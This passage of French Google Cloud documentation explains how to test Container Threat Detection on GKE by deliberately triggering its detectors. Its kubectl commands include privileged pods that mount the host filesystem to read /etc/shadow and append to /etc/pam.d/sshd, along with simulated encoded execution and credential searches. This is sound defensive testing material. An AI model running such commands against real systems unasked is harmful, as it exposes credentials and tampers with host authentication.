Tester Container Threat Detection

Niveaux de service Premium et Enterprise (obsolètes)

Le niveau de service Security Command Center Enterprise sera arrêté le 21 mai 2027.

Si votre organisation utilise le niveau de service Enterprise, elle passera automatiquement au niveau de service Premium le 21 mai 2027 ou après. Contactez votre responsable de compte ou un spécialiste des ventesGoogle Cloud si vous avez des questions.

Cette page explique comment vérifier que Container Threat Detection fonctionne en déclenchant intentionnellement des détecteurs et en vérifiant les résultats. Pour afficher les résultats de Container Threat Detection, ce service doit être activé dans les paramètres Services de Security Command Center.

Avant de commencer

Pour détecter les menaces potentielles pour vos conteneurs, vous devez vous assurer que vos clusters se trouvent dans une version compatible de Google Kubernetes Engine (GKE). Pour en savoir plus, consultez la section Utiliser une version de GKE compatible. Si vous souhaitez tester la détection des menaces sur ARM, vous avez besoin d'un cluster avec un pool de nœuds contenant des instances ARM. Pour en savoir plus, consultez Charges de travail Arm sur GKE.

Vérifier l'état d'un détecteur

Vous ne pouvez tester que les détecteurs activés. Avant de tester un détecteur, vérifiez qu'il est activé.

Console

Si le service Container Threat Detection est activé, vous pouvez définir l'état d'activation de ses modules individuels.

1. Dans la console Google Cloud , accédez à la page Modules pour Container Threat Detection.

   Accéder aux modules

2. Sélectionnez votre organisation ou votre projet.
3. Dans l'onglet Modules, accédez à la colonne État, sélectionnez l'état actuel du module que vous souhaitez activer ou désactiver, puis choisissez l'une des options suivantes :
   • Activer : permet d'activer le module.
   • Désactiver : permet de désactiver le module.

gcloud

La commande gcloud scc manage services describe permet d'obtenir l'état d'un service ou d'un module Security Command Center.

Avant d'utiliser les données de la commande ci-dessous, effectuez les remplacements suivants :

• RESOURCE_TYPE : type de ressource à obtenir (organization, folder ou project)
• RESOURCE_ID : identifiant numérique de l'organisation, du dossier ou du projet à obtenir. Pour les projets, vous pouvez également utiliser l'ID du projet alphanumérique.

Exécutez la commande gcloud scc manage services describe  :

Linux, macOS ou Cloud Shell

gcloud scc manage services describe container-threat-detection \
    --RESOURCE_TYPE=RESOURCE_ID

Windows (PowerShell)

gcloud scc manage services describe container-threat-detection `
    --RESOURCE_TYPE=RESOURCE_ID

Windows (cmd.exe)

gcloud scc manage services describe container-threat-detection ^
    --RESOURCE_TYPE=RESOURCE_ID

Vous devriez obtenir un résultat semblable au suivant. Par souci de concision, cet exemple montre un sous-ensemble de tous les modules Container Threat Detection.

effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
  ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
    effectiveEnablementState: ENABLED
  ACCESS_SENSITIVE_FILES_ON_NODES:
    effectiveEnablementState: DISABLED
  ADDED_BINARY_EXECUTED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_LIBRARY_LOADED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_MALICIOUS_BINARY_EXECUTED:
    effectiveEnablementState: ENABLED
  ADDED_MALICIOUS_LIBRARY_LOADED:
    effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'

REST

La méthode RESOURCE_TYPE.locations.securityCenterServices.get de l'API Security Command Center Management permet d'obtenir l'état d'un service ou d'un module Security Command Center.

Avant d'utiliser les données de requête, effectuez les remplacements suivants :

• RESOURCE_TYPE : type de ressource à obtenir (organizations, folders ou projects).
• QUOTA_PROJECT : ID du projet à utiliser pour la facturation et le suivi des quotas.
• RESOURCE_ID : identifiant numérique de l'organisation, du dossier ou du projet à obtenir. Pour les projets, vous pouvez également utiliser l'ID du projet alphanumérique.

Méthode HTTP et URL :

GET https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection

Pour envoyer votre requête, développez l'une des options suivantes :

curl (Linux, macOS ou Cloud Shell)

Remarque : La commande suivante suppose que vous êtes connecté à la CLI gcloud avec votre compte utilisateur en exécutant la commande gcloud init ou gcloud auth login, ou en utilisant Cloud Shell, qui vous connecte automatiquement à la CLI gcloud. Vous pouvez exécuter la commande gcloud auth list pour vérifier quel est le compte actuellement actif.

Exécutez la commande suivante :

curl -X GET \
     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
     -H "x-goog-user-project: QUOTA_PROJECT" \
     "https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection"

PowerShell (Windows)

Remarque : La commande suivante suppose que vous vous êtes connecté à la CLI gcloud avec votre compte utilisateur en exécutant la commande gcloud init ou gcloud auth login. Vous pouvez exécuter la commande gcloud auth list pour vérifier quel est le compte actuellement actif.

Exécutez la commande suivante :

$cred = gcloud auth print-access-token
$headers = @{ "Authorization" = "Bearer $cred"; "x-goog-user-project" = "QUOTA_PROJECT" }

Invoke-WebRequest `
    -Method GET `
    -Headers $headers `
    -Uri "https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection" | Select-Object -Expand Content

Vous devriez obtenir un résultat semblable au suivant. Par souci de concision, cet exemple montre un sous-ensemble de tous les modules Container Threat Detection.

{
  "effectiveEnablementState": "ENABLED",
  "intendedEnablementState": "ENABLED",
  "modules": {
    "ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
      "effectiveEnablementState": "ENABLED"
    },
    "ACCESS_SENSITIVE_FILES_ON_NODES": {
      "effectiveEnablementState": "DISABLED"
    },
    "ADDED_BINARY_EXECUTED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_LIBRARY_LOADED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_MALICIOUS_BINARY_EXECUTED": {
      "effectiveEnablementState": "ENABLED"
    },
    "ADDED_MALICIOUS_LIBRARY_LOADED": {
      "effectiveEnablementState": "ENABLED"
    }
  },
  "name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
  "updateTime": "2025-11-12T03:22:07Z"
}

Activer les détecteurs

Si un détecteur est désactivé et que vous souhaitez le tester, vous devez d'abord l'activer.

Certains détecteurs sont désactivés par défaut. Pour en savoir plus, consultez Détecteurs désactivés.

Console

Si le service Container Threat Detection est activé, vous pouvez définir l'état d'activation de ses modules individuels.

1. Dans la console Google Cloud , accédez à la page Modules pour Container Threat Detection.

   Accéder aux modules

2. Sélectionnez votre organisation ou votre projet.
3. Dans l'onglet Modules, accédez à la colonne État, sélectionnez l'état actuel du module que vous souhaitez activer ou désactiver, puis choisissez l'une des options suivantes :
   • Activer : permet d'activer le module.
   • Désactiver : permet de désactiver le module.

gcloud

La commande gcloud scc manage services update met à jour l'état d'un service ou d'un module Security Command Center.

Avant d'utiliser les données de la commande ci-dessous, effectuez les remplacements suivants :

• RESOURCE_TYPE : type de ressource à mettre à jour (organization, folder ou project).
• RESOURCE_ID : identifiant numérique de l'organisation, du dossier ou du projet à mettre à jour. Pour les projets, vous pouvez également utiliser l'ID du projet alphanumérique.
• MODULE_NAME : nom du module à activer ou à désactiver. Pour connaître les valeurs valides, consultez Détecteurs de Container Threat Detection.

Enregistrez le code suivant dans un fichier nommé request.json :

{
  "MODULE_NAME": {
    "intendedEnablementState": "ENABLED"
  }
}

Exécutez la commande gcloud scc manage services update :

Linux, macOS ou Cloud Shell

gcloud scc manage services update container-threat-detection \
    --RESOURCE_TYPE=RESOURCE_ID \
    --module-config-file=request.json

Windows (PowerShell)

gcloud scc manage services update container-threat-detection `
    --RESOURCE_TYPE=RESOURCE_ID `
    --module-config-file=request.json

Windows (cmd.exe)

gcloud scc manage services update container-threat-detection ^
    --RESOURCE_TYPE=RESOURCE_ID ^
    --module-config-file=request.json

Vous devriez obtenir un résultat semblable au suivant. Par souci de concision, cet exemple montre un sous-ensemble de tous les modules Container Threat Detection.

effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
  ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
    effectiveEnablementState: ENABLED
  ACCESS_SENSITIVE_FILES_ON_NODES:
    effectiveEnablementState: DISABLED
  ADDED_BINARY_EXECUTED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_LIBRARY_LOADED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_MALICIOUS_BINARY_EXECUTED:
    effectiveEnablementState: ENABLED
  ADDED_MALICIOUS_LIBRARY_LOADED:
    effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'

REST

La méthode RESOURCE_TYPE.locations.securityCenterServices.patch de l'API Security Command Center Management met à jour l'état d'un service ou d'un module Security Command Center.

Avant d'utiliser les données de requête, effectuez les remplacements suivants :

• RESOURCE_TYPE : type de ressource à mettre à jour (organizations, folders ou projects).
• QUOTA_PROJECT : ID du projet à utiliser pour la facturation et le suivi des quotas.
• RESOURCE_ID : identifiant numérique de l'organisation, du dossier ou du projet à mettre à jour. Pour les projets, vous pouvez également utiliser l'ID du projet alphanumérique.
• MODULE_NAME : nom du module à activer ou à désactiver. Pour connaître les valeurs valides, consultez Détecteurs de Container Threat Detection.

Méthode HTTP et URL :

PATCH https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules

Corps JSON de la requête :

{
  "modules": {
    "MODULE_NAME": {
      "intendedEnablementState": "ENABLED"
    }
  }
}

Pour envoyer votre requête, développez l'une des options suivantes :

curl (Linux, macOS ou Cloud Shell)

Remarque : La commande suivante suppose que vous êtes connecté à la CLI gcloud avec votre compte utilisateur en exécutant la commande gcloud init ou gcloud auth login, ou en utilisant Cloud Shell, qui vous connecte automatiquement à la CLI gcloud. Vous pouvez exécuter la commande gcloud auth list pour vérifier quel est le compte actuellement actif.

Enregistrez le corps de la requête dans un fichier nommé request.json, puis exécutez la commande suivante :

curl -X PATCH \
     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
     -H "x-goog-user-project: QUOTA_PROJECT" \
     -H "Content-Type: application/json; charset=utf-8" \
     -d @request.json \
     "https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules"

PowerShell (Windows)

Remarque : La commande suivante suppose que vous vous êtes connecté à la CLI gcloud avec votre compte utilisateur en exécutant la commande gcloud init ou gcloud auth login. Vous pouvez exécuter la commande gcloud auth list pour vérifier quel est le compte actuellement actif.

Enregistrez le corps de la requête dans un fichier nommé request.json, puis exécutez la commande suivante :

$cred = gcloud auth print-access-token
$headers = @{ "Authorization" = "Bearer $cred"; "x-goog-user-project" = "QUOTA_PROJECT" }

Invoke-WebRequest `
    -Method PATCH `
    -Headers $headers `
    -ContentType: "application/json; charset=utf-8" `
    -InFile request.json `
    -Uri "https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules" | Select-Object -Expand Content

Vous devriez obtenir un résultat semblable au suivant. Par souci de concision, cet exemple montre un sous-ensemble de tous les modules Container Threat Detection.

{
  "effectiveEnablementState": "ENABLED",
  "intendedEnablementState": "ENABLED",
  "modules": {
    "ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
      "effectiveEnablementState": "ENABLED"
    },
    "ACCESS_SENSITIVE_FILES_ON_NODES": {
      "effectiveEnablementState": "DISABLED"
    },
    "ADDED_BINARY_EXECUTED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_LIBRARY_LOADED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_MALICIOUS_BINARY_EXECUTED": {
      "effectiveEnablementState": "ENABLED"
    },
    "ADDED_MALICIOUS_LIBRARY_LOADED": {
      "effectiveEnablementState": "ENABLED"
    }
  },
  "name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
  "updateTime": "2025-11-12T03:22:07Z"
}

Définir des variables d'environnement

Pour tester les détecteurs, utilisez la console Google Cloud et Cloud Shell. Vous pouvez définir des variables d'environnement dans Cloud Shell pour faciliter l'exécution des commandes. Les variables suivantes sont utilisées pour tester tous les détecteurs Container Threat Detection.

1. Accédez à la consoleGoogle Cloud .

   Accéder à la console Google Cloud

2. Sélectionnez le projet contenant le conteneur que vous souhaitez utiliser pour le test.

3. Cliquez sur Activer Cloud Shell.

4. Dans Cloud Shell, définissez des variables d'environnement.

   1. Zone dans laquelle se trouve votre cluster :

      export ZONE=CLUSTER_ZONE
      

   2. Le projet dans lequel se trouve votre conteneur :

      export PROJECT=PROJECT_ID
      

   3. Le nom de votre cluster :

      export CLUSTER_NAME=CLUSTER_NAME
      

Les variables sont définies. Les sections suivantes incluent des instructions concernant le test des détecteurs de Container Threat Detection.

Fichier binaire ajouté exécuté

Pour déclencher le résultat d'un fichier binaire ajouté exécuté, déposez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, puis l'exécute. L'exécution du fichier binaire est inattendue, car la copie de ce fichier ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 24.04 et que les conteneurs sont destinés à être immuables.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Déposez un fichier binaire et exécutez-le :

   • Nœud x86 :

     tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
     

   • Nœud ARM :

     tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
     

Cette procédure de test crée un résultat Added Binary Executed que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour la réduction du bruit, lorsque vous créez un conteneur, Container Threat Detection filtre temporairement les résultats "Fichier binaire ajouté exécuté". Pour afficher tous les résultats "Added Binary Executed" lors de la configuration d'un conteneur, préfixez le nom de votre conteneur ou de votre pod avec ktd-test, comme dans l'exemple.

Bibliothèque ajoutée chargée

Pour déclencher le résultat d'une bibliothèque ajoutée chargée, déposez une bibliothèque dans votre conteneur et chargez-la. Cet exemple déploie la dernière image Ubuntu 24.04, copie /lib/x86_64-linux-gnu/libc.so.6 à un autre emplacement, puis la charge à l'aide de ld. La bibliothèque chargée est inattendue, car la copie de la bibliothèque ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 24.04 et que les conteneurs sont destinés à être immuables.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Déposez une bibliothèque et utilisez ld pour la charger :

   • Nœud x86 :

     tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c \
           "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
     

   • Nœud ARM :

     tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- sh -c \
           "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
     

Cette procédure de test crée un résultat de bibliothèque chargée supplémentaire que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Pour la réduction du bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats "Bibliothèque ajoutée chargée". Pour afficher tous les résultats "Bibliothèque ajoutée chargée" lors de la configuration d'un conteneur, préfixez le nom de votre conteneur ou de votre pod avec ktd-test, comme dans l'exemple.

Collection : Modification Pam.d (preview)

Pour déclencher la détection de modification pam.d, modifiez l'un des fichiers PAM de l'hôte. Cet exemple déploie la dernière image Ubuntu 24.04, installe le système de fichiers racine de l'hôte dans le conteneur, puis modifie /etc/pam.d/sshd.

Il s'agit d'un détecteur de surveillance des fichiers qui nécessite une version spécifique de GKE.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un binaire qui modifie l'un des fichiers liés à PAM sur l'hôte.

   • Nœud x86 :

     tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
     

   • Nœud ARM :

     tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" }] }}'
     

Cette procédure de test déclenche un résultat de modification pam.d que vous pouvez afficher dans Security Command Center et, si vous avez configuré la journalisation pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Commande et contrôle : exécution de code encodé redirigé

Pour déclencher un résultat Command and Control: Piped Encoded Code Execution, un fichier binaire capable d'exécution de code tel que python doit avoir une commande de décodage base64 transmise à son exécution. Cet exemple utilise la dernière image Ubuntu 24.04. Il utilise echo pour rediriger une chaîne encodée qui imprime Hello World vers l'exécutable python. Ce comportement est signalé comme suspect, car il peut indiquer une tentative d'exécution d'un script malveillant par un pirate informatique.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Décodez et transmettez une chaîne encodée en base64 dans python :

   • Nœud x86 :

     tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"
     

   • Nœud ARM :

     tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"
     

Cette procédure de test crée un résultat Command and Control: Piped Encoded Code Execution que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Commande et contrôle : téléchargement encodé redirigé

Pour déclencher un résultat Command and Control: Piped Encoded Download, un exécutable tel que curl doit être redirigé vers une commande de décodage base64. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/echo et le renomme curl, puis transmet un appel curl simulé à base64. Ce comportement est signalé comme suspect, car il peut indiquer une tentative de téléchargement et de décodage d'un script malveillant qui sera utilisé ultérieurement par un pirate informatique.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez et transmettez un appel curl dans base64 -d :

   • Nœud x86 :

     tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"
     

   • Nœud ARM :

     tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"
     

Cette procédure de test crée un résultat Command and Control: Piped Encoded Download que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Commande et contrôle : outil de stéganographie détecté

Pour déclencher un résultat Command and Control: Steganography Tool Detected (aperçu), un fichier binaire doté de fonctionnalités de manipulation de fichiers compatibles avec les outils de stéganographie doit s'exécuter dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme steghide (ou un autre outil de stéganographie comme stegano). Ce comportement est signalé comme suspect, car il peut indiquer une tentative de préparation d'un conteneur pour masquer ou extraire des données, potentiellement à des fins malveillantes.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un binaire d'outil de stéganographie tel que steghide :

   • Nœud x86 :

     tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/steghide; /tmp/steghide"
     

   • Nœud ARM :

     tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/steghide; /tmp/steghide"
     

Cette procédure de test crée un résultat Command and Control: Steganography Tool Detected que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Accès aux identifiants : accès aux fichiers sensibles sur les nœuds (bêta)

Pour déclencher une détection d'accès à un fichier sensible, lisez le fichier /etc/shadow de l'hôte. Cet exemple déploie la dernière image Ubuntu 24.04, installe le système de fichiers racine de l'hôte dans le conteneur, puis lit /etc/shadow à l'aide de cat.

Il s'agit d'un détecteur de surveillance des fichiers qui nécessite une version spécifique de GKE.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un fichier binaire qui lit le fichier /etc/shadow de l'hôte.

   • Nœud x86 :

     tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
     

   • Nœud ARM :

     tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" }] }}'
     

Cette procédure de test déclenche un résultat de fichier sensible consulté que vous pouvez afficher dans Security Command Center et, si vous avez configuré la journalisation pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Accès aux identifiants : recherche d'identifiants Google Cloud

Pour déclencher un résultat Credential Access: Find Google Cloud Credentials, un fichier binaire capable de rechercher le contenu des fichiers doit être exécuté dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme grep. Le fichier binaire renommé est ensuite exécuté avec des arguments qui spécifient un modèle de recherche indiquant une forme d'identifiants Google Cloud . Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de localisation des identifiants Google Cloud .

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

   • Nœud x86 :

     tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
     

   • Nœud ARM :

     tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
     

Cette procédure de test crée un résultat Credential Access: Find Google Cloud Credentials que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Accès aux identifiants : reconnaissance des clés GPG

